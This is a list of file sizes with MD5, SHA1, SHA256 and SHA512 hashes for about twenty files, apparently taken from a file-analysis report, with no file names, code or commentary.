SHA512693bbc3c896ad3c6044c832597f946c778e6c6192def3d662803e330209ec1c68d8d33bd82978279ae66b264a892a366183dcef9a3a777e0a6ee450a928268e2
-
Filesize
615KB
MD59c223575ae5b9544bc3d69ac6364f75e
SHA18a1cb5ee02c742e937febc57609ac312247ba386
SHA25690341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
SHA51257663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09
-
Filesize
456B
MD54531984cad7dacf24c086830068c4abe
SHA1fa7c8c46677af01a83cf652ef30ba39b2aae14c3
SHA25658209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
SHA51200056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122
-
Filesize
25KB
MD533722c8cd45091d31aef81d8a1b72fa8
SHA1e9043d440235d244ff9934e9694c5550cae2d5ab
SHA256366fca0b27a34835129086c8cde1e75c309849e37091db4adeda1be508f2ee12
SHA51274217abec2727baaa5138e1b1c4bac7d0ca574cf5a377396fc1ca0d3c07beb8aaa374e8060d2b5f707426312c11e0a34527ee0190e979e996f3b822efa24852f
-
Filesize
644KB
MD568b435a35f9dcbc10b3cd4b30977b0bd
SHA19726ef574ca9bda8ec9ab85a5b97adcdf148a41f
SHA256240d6d3efac25af08fe41a60e181f8fdcb6f95da53b3fad54b0f96680e7a8277
SHA5128e133b72bd3776f961258793c2b82d2cd536c7ae0ed0241daa2f67d90a6968f563b72f74a1c33d9bdfb821b796612faa7a73a712369ff3b36d968e57bfcdd793
-
Filesize
296KB
MD56dd43e115402d9e1c7cd6f21d47cfcf5
SHA1c7fb8f33f25b0b75fc05ef0785622aa4ec09503c
SHA2562a00f41bbc3680807042fc258f63519105220053fb2773e7d35480515fad9233
SHA51272e266eb1ce5cbbcfd1d2a6f864538efd80b3ed844e003e2bd9566708fee0919447290a3b559ea27c32794f97a629a8fe8fc879654ffa609fca5c053dac70c69
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
66KB
MD58d8bc4b4831ccce11284d512630749c5
SHA1ecbcb77bcf18fc3d13f462e73a92d7ec8fc1a364
SHA256db45a6c0d488bb290d7c9df70c282661a3aaa3929ea633cecc90165875eb27bb
SHA5123bd3524b53a30aba83a6ba42310846c5e73ea0ce386c7eff71bbee423a79720208019d6d9d478b37dd32c710d75d746c65313a354b59a0aae432f593959d7cae
-
Filesize
4KB
MD51cf8567625bdbe59f21a7204e32bfac2
SHA1e8fbf31cab51f038be39c05521bef6aaf9736541
SHA256ad2e04d8d6f546e0776e4bc5e6634361046bfac0cc7e262bc71df223b9ec5865
SHA5126e05c83fce9f256aee93b31c355b263eb6b3db9b5b7c3aef4b374046f513ea2b8c17b13c9eed4e44a1df38a0afa739e37580d5138e7aa59d3be08c10a3b0ed0c
-
Filesize
14KB
MD5d62180e10ce831ed8546b6ba053f4ede
SHA197138e832b3d0d678a2cfb9afa3dc850773235d9
SHA25650878b8be821cabaa4d41c4d44ca86e4681c0bd1ff5507cd2eece2369a466707
SHA5122d8165854fb56b0200c80d00bcf50f8e8263a592b188b8ddae8a4cb2edd3f7dade6f67c7959a7e85edd50b6772faa081e240b5a1ca031183da3639d4d5161ec8
-
Filesize
662KB
MD5a295ebc78f291e86350ed3f24c93ad2e
SHA16278625abf4b7caaeb876c80c6979ebb2d3e4da9
SHA256c994377a576a2c6c3c23167eb516a39584c3dd6565cc158aa2f57dfe18f27ac6
SHA5128df77ca9f099bae1ec39c5a3777d3d1d7bbd23b34ebb93e94b962b0ac8c6a0c0f0ec14fa8b5f38fff1449132fec0481762413d7f421e4ab7d60a22c217e17ae2
-
Filesize
14KB
MD54bc0e41415b1b3b16b52942df514f495
SHA1f88e4944f8e1e06e9b497618b32fa7a9722657d0
SHA256e904847b16996fb88538fa682600d06c940b97c4a473425d5f21850bae5e062e
SHA512299ff6c274776f6838d845dfae5a488cadf7ffdd45e8b20f3f726f0e018393ec3da8224786131575a2ab38386b0314dcd9a107ba3fd2ff6b2228d809899a7a69
-
Filesize
18KB
MD580b5d14d7cc0f4dbb18939a0e00d36f1
SHA1276acc7bb19e3722716e84fd569da17053f98503
SHA256e25aeebe537ada103db399f0e23a82eb2180fbaa6cb53822ab5fb6bfff58094d
SHA51271d741540f405bf1f9340c6a9bc741498483a5a9207d24788d126a74c4b448730b28688ebdd3ab085fe19f69e98f85f29fa2d9c0beeda19f1aa641c82f8430e7
-
Filesize
429KB
MD53e2324540f6234ab09cadb5242bc7655
SHA1598a3a23239b12758661a39da9efd0c788496136
SHA2569ea56082d89269d58779b584706f9d3568ab5529df010a79cf931fc0348037d0
SHA512d78723308d17883af5556e8e82d38555aa20e804018c98fb9472d82dabdcbc0ad6648b3b035c18fde6f19a6cc1e84a1ddb2a446ca113a09b842f93dfe9c44dec
-
Filesize
1.1MB
MD55b2a24da9dd94d94f40b8020fec42839
SHA1ad260c54f2fb1b92cdac1268f09fea4afef84505
SHA25637d83ca84f9c116631f39a7e5fba48b1889e8dea26c60f9dab7560c06dd0375a
SHA512dd5416e230777378d98237d230abc24e45f795ad5d82fc83b1acfd974139f5f543db7e52672368d0f51666886afe511876d3e0225e227a136d2cfd2127276f89
-
Filesize
10KB
MD54fb9fc6f58d2a3346a3cba4191c528b0
SHA1c3f95d593fb0a58bd878098d53c30c7ed967116c
SHA2569be2461650e4dbfb349e2895e264081651791c64035ddcbe99db86fb1bb995f9
SHA512c908493150d8690994c135d3c07db58e71ef3b8dfe9c61d946db6e696696dc3ccbf2a5dade373d06c9cd49434605761d553a104316ad8fbeec6f7bcbea172205
-
Filesize
18KB
MD580987dc6b9c4a41a4bb63495b7df899f
SHA1474bbe1471a9439029f567064c24c12417095c4f
SHA256efc1855aa1faf135bdc1be54e81604e49d2eb0f8eb15758b5dbaf5e833a179bd
SHA5120c1795b606ffe925438218f93fab88f28eaeab4f9eac5cf1dcc9070baec9d85d659d7f279b26be808d49dc6fdcdcb361ea206e2aceba711b883d05bf9aa6929f
-
Filesize
511KB
MD564ae96d8a9470e8ad1dcd6b61b144a46
SHA197cec1e66eed56fd23e274d50a2196af63c50d13
SHA256f7685f7c7fccf5da1f3c460ce1b6230e0aab906b368d445f88e86273632c1029
SHA512d1f3dd67a76237b49df077b849e5731847d5da5e42e5e37a39682786b73576f25a5115cd0a77c8db1d25b2cde88b11f5a7f0c8b2d0cdd224d425aec25f5a11d0
-
Filesize
652B
MD5ccd5a93d26e04ec508b2ce60e271d355
SHA18dcdf41c0b3d3b0f97bda5ef218a78e601999897
SHA256ec701aa7a45b060493a67f6b403bb2771ab17454887f146e5446116012585a9f
SHA512d8ce0cad6c63cd49cff298816b5db11c66e60cbcb20ee25e7e0ea516cfa8ab4b4fddd9bf7a247d5c7f4e2120a038f8f90692c3515689699f7ba5566bba4e8bd0
-
Filesize
1004B
MD5c76055a0388b713a1eabe16130684dc3
SHA1ee11e84cf41d8a43340f7102e17660072906c402
SHA2568a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
SHA51222d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
-
Filesize
607B
MD578f004b2716a0858b3fdb7d933ec2686
SHA1197a3b603ceb305ce656c5fa131dd7545f9f6cd2
SHA25645940a95ea46d11ed817c367143a942fa1a6d833a1b5385af17a882d31173f78
SHA5124bb36b6b786c9e9e075eab1c201e03d301b0c247410d6b7e42e6e7e46bd6225bd6445c3ad370c75a773e2514270cddf5f3c110bf3be63a303f0f0df81bf16a19